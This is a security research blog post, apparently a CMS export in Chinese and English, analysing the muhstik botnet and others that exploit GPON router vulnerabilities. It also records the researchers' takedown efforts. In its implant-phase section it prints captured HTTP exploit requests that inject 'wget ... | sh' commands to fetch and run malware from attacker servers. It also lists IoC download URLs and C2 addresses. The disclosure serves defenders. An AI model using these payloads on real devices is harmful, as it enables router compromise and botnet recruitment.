由我们首次公开披露，其在2017-12月中曾经用12小时感染了26万设备，创下了我们观测到IoT僵尸网络感染速度的记录。既往关于satori我们发布了多份报告（[报告-2017-11](__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/)，[报告-2017-12](__GHOST_URL__/wa-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869/)，[报告-2018-01](__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/)）。通过本次更新，Satori 僵尸网络也加入到瓜分 GPON 漏洞易感设备的行列。\n\n下文集中描述 muhstik 僵尸网络。\n\n#### muhstik 僵尸网络基本情况\n\n\n\n上图是 muhstik 僵尸网络的结构示意：\n \n - **扫描阶段**：**muhstik.scanner** 会发起扫描，并利用漏洞迫使 GPON 易感设备向报告服务器汇报状态；\n - **感染阶段**：**muhstik.infector** 会利用漏洞迫使 GPON 易感设备从下载服务器下载恶意软件并安装。安装成功后设备即成为 muhstik bot，成为僵尸网络的一部分；\n - **控制阶段**：**muhstik.c2.list** 会向bot发起指令，要求其执行扫描、SSH横向扩展、xmrig挖矿、cgminer挖矿或者发起DDoS攻击。\n\n#### muhstik 僵尸网络的本次更新 - 扫描阶段\n\nmuhstik 本轮新增了 3 种漏洞检测模块，目前共有 10 种漏洞检测模块。其中新增的 3 种漏洞检测模块如下:\n\n1. Gpon（CVE-2018-10561 & CVE-2018-10562）\n2. JBoss（CVE-2007-1036）\n3. DD-WRT（web 认证爆破）\n\n与之对应的上报URL分别如下:\n```\nhxxp://51.254.219.134/gpon.php?port=80|8080 #GPON RCE\nhxxp://51.254.219.134/jboss.php #JBoss\nhxxp://51.254.219.134/ddwrt.php #DD-WRT\n```\n在上报服务器（51.254.219.134）被安全社区清除之后，上报服务器ip地址更新为165.227.78.159。\n\n目前GPON上报URL更新为:\n```\nhxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080\nhxxp://128.199.251.119/gpon.php?port=80|8080\n```\n\n\n#### muhstik 僵尸网络的本次更新 - 感染阶段\n\n在感染阶段，muhstik 探测到GPON易感染设备之后，试图迫使其下载 muhstik.tsunami 僵尸网络样本，以及 muhstik.aioscan 扫描模块。发起扫描的IP地址 muhstik.loader 没有变化，仍然是 51.254.219.137。\n\nGPON漏洞的扫描载荷如下：\n\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nCache-Control: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: {target}\nContent-Type: text/plain\nContent-length: 121\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://51.254.219.134/gpon.php?port=80|8080&ipv=0\n```\n\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like\nGecko) Chrome/4.0.222.4 Safari/532.2\nContent-Length: 113\nContent-Type: text/plain; charset=ISO-8859-1\nHost: {target}\nConnection: Keep-Alive\nAccept-Encoding: gzip,deflate\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://162.243.211.204/gpon | sh&ipv=0\n```\n\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206\nUbuntu/10.10 (maverick) Firefox/3.6.13\nContent-Length: 112\nContent-Type: text/plain; charset=ISO-8859-1\nHost: {target}\nConnection: Keep-Alive\nAccept-Encoding: gzip,deflate\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://162.243.211.204/aio | sh&ipv=0\n```\n\n#### muhstik 僵尸网络的本次更新 - 恶意代码样本\n\nGpon 和 JBOSS 的漏洞检测代码体现在 aiomips 样本中（5c55d50c10f2b500b0fbcd4ade2b18ea）：\n\n\n\n\nDD-WRT 的漏洞检测代码体现在 aioarm 样本中（b9c8c709c89b2f9d864aa21164d25752）\n\n\n\n#### 安全社区联合行动及更新\n\n到北京时间5月9日，我们联合安全社区关闭了若干服务器，部分减缓了 muhstik 的扩张速度，包括：\n```\n51.254.219.134\t\"AS16276 OVH SAS\"\n191.238.234.227\t\"AS8075 Microsoft Corporation\"\n```\n\n然而 muhstik 扩张的脚步并未停止，当前（2018-05-10 10:30 GMT+8）我们观察到它启用了 165.227.78.159 替代被关闭的报告服务器。我们正在与安全社区协作采取后续行动。\n\n新的恶意软件url\n```\nhxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php #状态报告\nhxxp://162.243.211.204/gponexec #下载 muhstik.tsunami 恶意样本\n```\n\n#### IoC - muhstik\nState Report URL List\n```\nhxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080\nhxxp://128.199.251.119/gpon.php?port=80|8080\n```\n\nMalware Download URL List\n```\nhxxp://162.243.211.204/aio\nhxxp://162.243.211.204/gpon\nhxxp://162.243.211.204/nsshpftp\nhxxp://162.243.211.204/nsshcro\nhxxp://162.243.211.204/aiomips\nhxxp://210.245.26.180/arm\nhxxp://46.243.189.102/\nhxxp://162.243.211.204/gponexec\nhxxp://51.254.221.129/c/cron \nhxxp://51.254.221.129/c/tfti \nhxxp://51.254.221.129/c/pftp \nhxxp://51.254.221.129/c/ntpd \nhxxp://51.254.221.129/c/sshd \nhxxp://51.254.221.129/c/bash \nhxxp://51.254.221.129/c/pty \nhxxp://51.254.221.129/c/shy \nhxxp://51.254.221.129/c/nsshtfti \nhxxp://51.254.221.129/c/nsshcron \nhxxp://51.254.221.129/c/nsshpftp \nhxxp://51.254.221.129/c/fbsd \n```\n\nC2 List\n```\n139.99.101.96:9090 AS16276 OVH SAS \n144.217.84.99:9090 AS16276 OVH SAS \n145.239.84.0:9090 AS16276 OVH SAS \n147.135.210.184:9090 AS16276 OVH SAS \n142.44.163.168:9090 AS16276 OVH SAS \n192.99.71.250:9090 AS16276 OVH SAS \n142.44.240.14:9090 AS16276 OVH SAS \n121.128.171.44:9090 AS4766 Korea Telecom #当前未生效 \n66.70.190.236:9090 AS16276 OVH SAS #当前未生效 \n145.239.93.125:9090 AS16276 OVH SAS \nirc.de-zahlung.eu:9090 #当前未生效 \n```\n\nAll IP list\n```\n121.128.171.44:9090 AS4766 Korea Telecom #当前未生效 \n139.99.101.96:9090 AS16276 OVH SAS \n142.44.163.168:9090 AS16276 OVH SAS \n142.44.240.14:9090 AS16276 OVH SAS \n144.217.84.99:9090 AS16276 OVH SAS \n145.239.84.0:9090 AS16276 OVH SAS \n145.239.93.125:9090 AS16276 OVH SAS \n147.135.210.184:9090 AS16276 OVH SAS \n162.243.211.204\t\"AS62567 DigitalOcean, LLC\"\n165.227.78.159\t\"AS14061 DigitalOcean, LLC\"\n192.99.71.250:9090 AS16276 OVH SAS \n210.245.26.180\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n46.243.189.102\t\"AS205406 Hostio Solutions B.V.\"\n51.254.221.129\t\"AS16276 OVH SAS\"\n66.70.190.236:9090 AS16276 OVH SAS #当前未生效 \nirc.de-zahlung.eu:9090 #当前未生效\n51.254.219.137\t\"AS16276 OVH SAS\"\n```\n\n曾经在 muhstik 控制之下，但已经被安全社区清除的IP列表：\n```\n51.254.219.134\t\"AS16276 OVH SAS\"\n191.238.234.227\t\"AS8075 Microsoft Corporation\"\n```\n\n#### IoC - mettle\nC2 and Scanner\n```\n210.245.26.180\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n118.70.80.143\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

117

post

2018-05-10T11:27:43.000Z

63873b9a8b1c1e0007f52f25

gpon-exploit-in-the-wild-i-muhstik-botnet-among-others-en

2022-02-09T07:14:08.000Z

public

published

2018-05-10T11:57:09.000Z

GPON Exploit in the Wild (I) - Muhstik Botnet Among Others

<!--kg-card-begin: markdown--><p>On May 1st, VPN Mentor disclosed two vulnerabilities against GPON home router. Since then, at least 5 botnet families have been actively exploiting the vulnerability to build their zombie corps, including mettle, muhstik, mirai, hajime and satori. It is the first time we have seen so many botnets competing for territory in such a short time.</p> <p>Fortunately, the current attack payloads from muhstik, mirai, hajime, and satori, have been tested to be broken and will not implant malicious code. And mettle's C2 server is now offline, although it could really finish the implant during its appearance. In any case, as these malicious code gangs are actively updating, we should remain vigilant about their behavior.</p> <p>Muhstik botnet was first disclosed in our blog (<a href="__GHOST_URL__/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/">report -2018-04</a>). This time the muhstik botnet updated with three new exploits, including the one against GPON home router, and made its total exploits up to 10.</p> <p>By May 9, our took joint actions with security community to shut down part of its servers, slightly slowed its expansion. However, the expansion pace of muhstik gangs did not stop, and at 2018-05-10 10:30 gmt+8, we noticed that it enabled a new report server 165.227.78.159 to replace the old, shut down one. Now we are working with the security community to follow up.</p> <h4 id="multiplebotnetsareactivelyexploitingtherecentlyexposedgponvulnerabilities">Multiple Botnets are Actively Exploiting the Recently Exposed GPON Vulnerabilities</h4> <p>The VPN Mentor disclosed two vulnerabilities of Gpon home routers on 2018-05-01 (CVE-2018-10561 authentication bypass and CVE-2018-10562 command execution vulnerabilities). After analyzing the exposed PoC, we can determine that the exploit does work and may have a wide impact as botnets are expected to make use of it.</p> <p>Starting from the next day (2018-05-02), we saw multiple botnets exploiting this vulnerability to expand their infections. Until 2018-05-10, we have observed 5 botnet families use this vulnerability exploit.</p> <p>These botnets are：</p> <ul> <li> <p><strong>mettle</strong>: the attacker utilizes the IP address in Viet Nam (C2 210.245.26.180:4441,scanner 118.70.80.143) and open-sourced Mettle attack module to implant of malware. It is the first time we observe this botnet.</p> </li> <li> <p><strong>muhstik</strong>: We first disclose this botnet last month (report-2018-04). In the latest update, Muhstik added exploits for the three vulnerabilities: GPON (cve-2018-10561, cve-2018-10562), JBOSS (cve-2007-1036) and DD-WRT (Web Authentication Bruteforcing).</p> </li> <li> <p><strong>Mirai (more than one variants)</strong>： After opensourced on 2016-09, <a href="__GHOST_URL__/tag/mirai/">mirai botnet</a> has been used by hundreds of malicious gangs. This time we observe that more than one groups are actively using this exploit to deliver their mirai variants</p> </li> <li> <p><strong>hajime</strong>：We have released two reports on Hajime botnets（ <a href="__GHOST_URL__/hajime-status-report/">Report-2017-09</a> ， <a href="__GHOST_URL__/quick-summary-port-8291-scan-cn/">Briefing-2018-03</a> ）. Hajime also did the update this time and began to infect GPON related devices.</p> </li> <li> <p><strong>satori</strong>：<a href="__GHOST_URL__/tag/satori/">satori botnet</a> was first disclosed by us as well, which infected 260,000 devices in 12 hours in 2017-12 (<a href="__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/">report-2017-11</a>, <a href="__GHOST_URL__/wa-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869/">report-2017-12</a>, <a href="__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/">report-2018-01</a> ). We observed that Satori also added GPON vulnerability exploit in the latest update.</p> </li> </ul> <p>We will focus on muhstik botnet in this blog.</p> <h4 id="introductiontomuhstikbotnet">Introduction to Muhstik Botnet</h4> <p><img src="__GHOST_URL__/content/images/2018/05/muhstik-c2-layout-1.png" alt="" loading="lazy"></p> <p>The above figure illustrates the structure of Muhstik botnet:</p> <ul> <li><strong>Scanning phase</strong>：<strong>muhstik.scanner</strong> will initiate scanning and exploit the vulnerability to force vulnerable GPON devices to report status to the reporting server;</li> <li><strong>Infection phase</strong>：<strong>muhstik.infector</strong> will exploit vulnerability to force GPON susceptible devices to download malware from the download server and install it.</li> <li><strong>Control phase</strong>：<strong>muhstik.c2.list</strong> will send commands to its bots and request them to launch scanning, SSH scale-out, xmrig Mining, cgminer mining, or DDoS attacks.</li> </ul> <h4 id="muhstikbotnetupdatescanphase">Muhstik Botnet Update - Scan Phase</h4> <p>In this round, muhstik has added 3 new exploits, as follows:</p> <ol> <li>Gpon（CVE-2018-10561 &amp; CVE-2018-10562）</li> <li>JBoss（CVE-2007-1036）</li> <li>DD-WRT（web 认证爆破）</li> </ol> <p>The corresponding state report URLs are as follows:</p> <pre><code>hxxp://51.254.219.134/gpon.php?port=80|8080 #GPON RCE hxxp://51.254.219.134/jboss.php #JBoss hxxp://51.254.219.134/ddwrt.php #DD-WRT </code></pre> <p>As the report server (51.254.219.134) is shut down by the security community, the report server IP address is updated to 165.227.78.159</p> <p>Now the report URLs are:</p> <pre><code>hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080 hxxp://128.199.251.119/gpon.php?port=80|8080 </code></pre> <h4 id="muhstikbotnetupdateimplantphase">Muhstik Botnet Update - Implant Phase</h4> <p>During the implant phase, muhstik will try to force the targeted GPON device to download muhstik.tsunami malicious code and muhstik.aioscan scanning module. The muhstik.loader IP address stayed 51.254.219.137.</p> <p>The scaning payloads for the Gpon are：</p> <pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1 Cache-Control: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: {target} Content-Type: text/plain Content-length: 121 XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=wget;wget -qO -http://51.254.219.134/gpon.php?port=80|8080&amp;ipv=0 </code></pre> <pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 Content-Length: 113 Content-Type: text/plain; charset=ISO-8859-1 Host: {target} Connection: Keep-Alive Accept-Encoding: gzip,deflate XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=wget;wget -qO -http://162.243.211.204/gpon | sh&amp;ipv=0 </code></pre> <pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 Content-Length: 112 Content-Type: text/plain; charset=ISO-8859-1 Host: {target} Connection: Keep-Alive Accept-Encoding: gzip,deflate XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=wget;wget -qO -http://162.243.211.204/aio | sh&amp;ipv=0 </code></pre> <h4 id="muhstikbotnetupdatemalicioussamples">Muhstik Botnet Update - Malicious Samples</h4> <p>Gpon and JBOSS exploits are burried in the aiomips sample (5C55D50C10F2B500B0FBCD4ADE2B18EA):</p> <p><img src="__GHOST_URL__/content/images/2018/05/muhstik-exploit-1-gpon.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2018/05/muhstik-exploit-2-jboss.png" alt="" loading="lazy"></p> <p>While DD-WRT exploit is in aioarm sample（b9c8c709c89b2f9d864aa21164d25752）</p> <p><img src="__GHOST_URL__/content/images/2018/05/muhstik-exploit-3-ddwrt.png" alt="" loading="lazy"></p> <h4 id="jointactionswithsecuritycommunityandfollowups">Joint Actions with Security Community and Follow Ups</h4> <p>By May 9, we took joint action with security community to shut down part of Muhstik servers, slightly slowed its expansion, including:</p> <pre><code>51.254.219.134 &quot;AS16276 OVH SAS&quot; 191.238.234.227 &quot;AS8075 Microsoft Corporation&quot; </code></pre> <p>However, the pace of muhstik expansion did not stop. Currently (2018-05-10 10:30 gmt+8), We observed that it enabled a new report server 165.227.78.159 to replace the old, closed one.<br> We are taking follow-up action together with the security community.</p> <p>New malicious software URL</p> <pre><code>hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php #report URL hxxp://162.243.211.204/gponexec # muhstik.tsunami download URL </code></pre> <h4 id="iocmuhstik">IoC - muhstik</h4> <p>State Report URL List</p> <pre><code>hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080 hxxp://128.199.251.119/gpon.php?port=80|8080 </code></pre> <p>Malware Download URL List</p> <pre><code>hxxp://162.243.211.204/aio hxxp://162.243.211.204/gpon hxxp://162.243.211.204/nsshpftp hxxp://162.243.211.204/nsshcro hxxp://162.243.211.204/aiomips hxxp://210.245.26.180/arm hxxp://46.243.189.102/ hxxp://162.243.211.204/gponexec hxxp://51.254.221.129/c/cron hxxp://51.254.221.129/c/tfti hxxp://51.254.221.129/c/pftp hxxp://51.254.221.129/c/ntpd hxxp://51.254.221.129/c/sshd hxxp://51.254.221.129/c/bash hxxp://51.254.221.129/c/pty hxxp://51.254.221.129/c/shy hxxp://51.254.221.129/c/nsshtfti hxxp://51.254.221.129/c/nsshcron hxxp://51.254.221.129/c/nsshpftp hxxp://51.254.221.129/c/fbsd </code></pre> <p>C2 List</p> <pre><code>139.99.101.96:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 121.128.171.44:9090 AS4766 Korea Telecom #Not active now 66.70.190.236:9090 AS16276 OVH SAS #Not active now 145.239.93.125:9090 AS16276 OVH SAS irc.de-zahlung.eu:9090 #Not active now </code></pre> <p>All IP list</p> <pre><code>121.128.171.44:9090 AS4766 Korea Telecom #Not active now 139.99.101.96:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 145.239.93.125:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 162.243.211.204 &quot;AS62567 DigitalOcean, LLC&quot; 165.227.78.159 &quot;AS14061 DigitalOcean, LLC&quot; 192.99.71.250:9090 AS16276 OVH SAS 210.245.26.180 &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot; 46.243.189.102 &quot;AS205406 Hostio Solutions B.V.&quot; 51.254.221.129 &quot;AS16276 OVH SAS&quot; 66.70.190.236:9090 AS16276 OVH SAS #Not active now irc.de-zahlung.eu:9090 #Not active now 51.254.219.137 &quot;AS16276 OVH SAS&quot; </code></pre> <p>Those IPs once under muhstik's control, but now cleared by the security community</p> <pre><code>51.254.219.134 &quot;AS16276 OVH SAS&quot; 191.238.234.227 &quot;AS8075 Microsoft Corporation&quot; </code></pre> <h4 id="iocmettle">IoC - mettle</h4> <p>C2 and Scanner</p> <pre><code>210.245.26.180 &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot; 118.70.80.143 &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot; </code></pre> <!--kg-card-end: markdown-->

On May 1st, VPN Mentor disclosed two vulnerabilities against GPON home router. Since then, at least 5 botnet families have been actively exploiting the vulnerability to build their zombie corps, including mettle, muhstik, mirai, hajime and satori. It is the first time we have seen so many botnets competing for territory in such a short time. Fortunately, the current attack payloads from muhstik, mirai, hajime, and satori, have been tested to be broken and will not implant malicious code. And mettle's C2 server is now offline, although it could really finish the implant during its appearance. In any case, as these malicious code gangs are actively updating, we should remain vigilant about their behavior. Muhstik botnet was first disclosed in our blog (report -2018-04). This time the muhstik botnet updated with three new exploits, including the one against GPON home router, and made its total exploits up to 10. By May 9, our took joint actions with security community to shut down part of its servers, slightly slowed its expansion. However, the expansion pace of muhstik gangs did not stop, and at 2018-05-10 10:30 gmt+8, we noticed that it enabled a new report server 165.227.78.159 to replace the old, shut down one. Now we are working with the security community to follow up. Multiple Botnets are Actively Exploiting the Recently Exposed GPON Vulnerabilities The VPN Mentor disclosed two vulnerabilities of Gpon home routers on 2018-05-01 (CVE-2018-10561 authentication bypass and CVE-2018-10562 command execution vulnerabilities). After analyzing the exposed PoC, we can determine that the exploit does work and may have a wide impact as botnets are expected to make use of it. Starting from the next day (2018-05-02), we saw multiple botnets exploiting this vulnerability to expand their infections. Until 2018-05-10, we have observed 5 botnet families use this vulnerability exploit. These botnets are： * mettle: the attacker utilizes the IP address in Viet Nam (C2 210.245.26.180:4441,scanner 118.70.80.143) and open-sourced Mettle attack module to implant of malware. It is the first time we observe this botnet. * muhstik: We first disclose this botnet last month (report-2018-04). In the latest update, Muhstik added exploits for the three vulnerabilities: GPON (cve-2018-10561, cve-2018-10562), JBOSS (cve-2007-1036) and DD-WRT (Web Authentication Bruteforcing). * Mirai (more than one variants)： After opensourced on 2016-09, mirai botnet has been used by hundreds of malicious gangs. This time we observe that more than one groups are actively using this exploit to deliver their mirai variants * hajime：We have released two reports on Hajime botnets（ Report-2017-09 ， Briefing-2018-03 ）. Hajime also did the update this time and began to infect GPON related devices. * satori：satori botnet was first disclosed by us as well, which infected 260,000 devices in 12 hours in 2017-12 (report-2017-11, report-2017-12, report-2018-01 ). We observed that Satori also added GPON vulnerability exploit in the latest update. We will focus on muhstik botnet in this blog. Introduction to Muhstik Botnet The above figure illustrates the structure of Muhstik botnet: * Scanning phase：muhstik.scanner will initiate scanning and exploit the vulnerability to force vulnerable GPON devices to report status to the reporting server; * Infection phase：muhstik.infector will exploit vulnerability to force GPON susceptible devices to download malware from the download server and install it. * Control phase：muhstik.c2.list will send commands to its bots and request them to launch scanning, SSH scale-out, xmrig Mining, cgminer mining, or DDoS attacks. Muhstik Botnet Update - Scan Phase In this round, muhstik has added 3 new exploits, as follows: 1. Gpon（CVE-2018-10561 & CVE-2018-10562） 2. JBoss（CVE-2007-1036） 3. DD-WRT（web 认证爆破） The corresponding state report URLs are as follows: hxxp://51.254.219.134/gpon.php?port=80|8080 #GPON RCE hxxp://51.254.219.134/jboss.php #JBoss hxxp://51.254.219.134/ddwrt.php #DD-WRT As the report server (51.254.219.134) is shut down by the security community, the report server IP address is updated to 165.227.78.159 Now the report URLs are: hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080 hxxp://128.199.251.119/gpon.php?port=80|8080 Muhstik Botnet Update - Implant Phase During the implant phase, muhstik will try to force the targeted GPON device to download muhstik.tsunami malicious code and muhstik.aioscan scanning module. The muhstik.loader IP address stayed 51.254.219.137. The scaning payloads for the Gpon are： POST /GponForm/diag_Form?images/ HTTP/1.1 Cache-Control: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: {target} Content-Type: text/plain Content-length: 121 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://51.254.219.134/gpon.php?port=80|8080&ipv=0 POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 Content-Length: 113 Content-Type: text/plain; charset=ISO-8859-1 Host: {target} Connection: Keep-Alive Accept-Encoding: gzip,deflate XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://162.243.211.204/gpon | sh&ipv=0 POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 Content-Length: 112 Content-Type: text/plain; charset=ISO-8859-1 Host: {target} Connection: Keep-Alive Accept-Encoding: gzip,deflate XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=wget;wget -qO -http://162.243.211.204/aio | sh&ipv=0 Muhstik Botnet Update - Malicious Samples Gpon and JBOSS exploits are burried in the aiomips sample (5C55D50C10F2B500B0FBCD4ADE2B18EA): While DD-WRT exploit is in aioarm sample（b9c8c709c89b2f9d864aa21164d25752） Joint Actions with Security Community and Follow Ups By May 9, we took joint action with security community to shut down part of Muhstik servers, slightly slowed its expansion, including: 51.254.219.134 "AS16276 OVH SAS" 191.238.234.227 "AS8075 Microsoft Corporation" However, the pace of muhstik expansion did not stop. Currently (2018-05-10 10:30 gmt+8), We observed that it enabled a new report server 165.227.78.159 to replace the old, closed one. We are taking follow-up action together with the security community. New malicious software URL hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php #report URL hxxp://162.243.211.204/gponexec # muhstik.tsunami download URL IoC - muhstik State Report URL List hxxp://165.227.78.159/gponb6abe42c3a9aa04216077697eb1bcd44.php?port=80|8080 hxxp://128.199.251.119/gpon.php?port=80|8080 Malware Download URL List hxxp://162.243.211.204/aio hxxp://162.243.211.204/gpon hxxp://162.243.211.204/nsshpftp hxxp://162.243.211.204/nsshcro hxxp://162.243.211.204/aiomips hxxp://210.245.26.180/arm hxxp://46.243.189.102/ hxxp://162.243.211.204/gponexec hxxp://51.254.221.129/c/cron hxxp://51.254.221.129/c/tfti hxxp://51.254.221.129/c/pftp hxxp://51.254.221.129/c/ntpd hxxp://51.254.221.129/c/sshd hxxp://51.254.221.129/c/bash hxxp://51.254.221.129/c/pty hxxp://51.254.221.129/c/shy hxxp://51.254.221.129/c/nsshtfti hxxp://51.254.221.129/c/nsshcron hxxp://51.254.221.129/c/nsshpftp hxxp://51.254.221.129/c/fbsd C2 List 139.99.101.96:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 121.128.171.44:9090 AS4766 Korea Telecom #Not active now 66.70.190.236:9090 AS16276 OVH SAS #Not active now 145.239.93.125:9090 AS16276 OVH SAS irc.de-zahlung.eu:9090 #Not active now All IP list 121.128.171.44:9090 AS4766 Korea Telecom #Not active now 139.99.101.96:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 145.239.93.125:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 162.243.211.204 "AS62567 DigitalOcean, LLC" 165.227.78.159 "AS14061 DigitalOcean, LLC" 192.99.71.250:9090 AS16276 OVH SAS 210.245.26.180 "AS18403 The Corporation for Financing & Promoting Technology" 46.243.189.102 "AS205406 Hostio Solutions B.V." 51.254.221.129 "AS16276 OVH SAS" 66.70.190.236:9090 AS16276 OVH SAS #Not active now irc.de-zahlung.eu:9090 #Not active now 51.254.219.137 "AS16276 OVH SAS" Those IPs once under muhstik's control, but now cleared by the security community 51.254.219.134 "AS16276 OVH SAS" 191.238.234.227 "AS8075 Microsoft Corporation" IoC - mettle C2 and Scanner 210.245.26.180 "AS18403 The Corporation for Financing & Promoting Technology" 118.70.80.143 "AS18403 The Corporation for Financing & Promoting Technology"

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"On May 1st, VPN Mentor disclosed two vulnerabilities against GPON home router. Since then, at least 5 botnet families have been actively exploiting the vulnerability to build their zombie corps, including mettle, muhstik, mirai, hajime and satori. It is the first time we have seen so many botnets competing for territory in such a short time.\n\nFortunately, the current attack payloads from muhstik, mirai, hajime, and satori, have been tested to be broken and will not implant malicious code. And mettle's C2 server is now offline, although it could really finish the implant during its appearance. In any case, as these malicious code gangs are actively updating, we should remain vigilant about their behavior.\n\nMuhstik botnet was first disclosed in our blog ([report -2018-04](__GHOST_URL__/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/)). This time the muhstik botnet updated with three new exploits, including the one against GPON home router, and made its total exploits up to 10.\n\nBy May 9, our took joint actions with security community to shut down part of its servers, slightly slowed its expansion. However, the expansion pace of muhstik gangs did not stop, and at 2018-05-10 10:30 gmt+8, we noticed that it enabled a new report server 165.227.78.159 to replace the old, shut down one. Now we are working with the security community to follow up.\n\n#### Multiple Botnets are Actively Exploiting the Recently Exposed GPON Vulnerabilities\nThe VPN Mentor disclosed two vulnerabilities of Gpon home routers on 2018-05-01 (CVE-2018-10561 authentication bypass and CVE-2018-10562 command execution vulnerabilities). After analyzing the exposed PoC, we can determine that the exploit does work and may have a wide impact as botnets are expected to make use of it.\n\nStarting from the next day (2018-05-02), we saw multiple botnets exploiting this vulnerability to expand their infections. Until 2018-05-10, we have observed 5 botnet families use this vulnerability exploit.\n\nThese botnets are：\n\n - **mettle**: the attacker utilizes the IP address in Viet Nam (C2 210.245.26.180:4441,scanner 118.70.80.143) and open-sourced Mettle attack module to implant of malware. It is the first time we observe this botnet.\n - **muhstik**: We first disclose this botnet last month (report-2018-04). In the latest update, Muhstik added exploits for the three vulnerabilities: GPON (cve-2018-10561, cve-2018-10562), JBOSS (cve-2007-1036) and DD-WRT (Web Authentication Bruteforcing).\n - **Mirai (more than one variants)**： After opensourced on 2016-09, [mirai botnet](__GHOST_URL__/tag/mirai/) has been used by hundreds of malicious gangs. This time we observe that more than one groups are actively using this exploit to deliver their mirai variants\n - **hajime**：We have released two reports on Hajime botnets（ [Report-2017-09](__GHOST_URL__/hajime-status-report/) ， [Briefing-2018-03](__GHOST_URL__/quick-summary-port-8291-scan-cn/) ）. Hajime also did the update this time and began to infect GPON related devices.\n\n - **satori**：[satori botnet](__GHOST_URL__/tag/satori/) was first disclosed by us as well, which infected 260,000 devices in 12 hours in 2017-12 ([report-2017-11](__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/), [report-2017-12](__GHOST_URL__/wa-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869/), 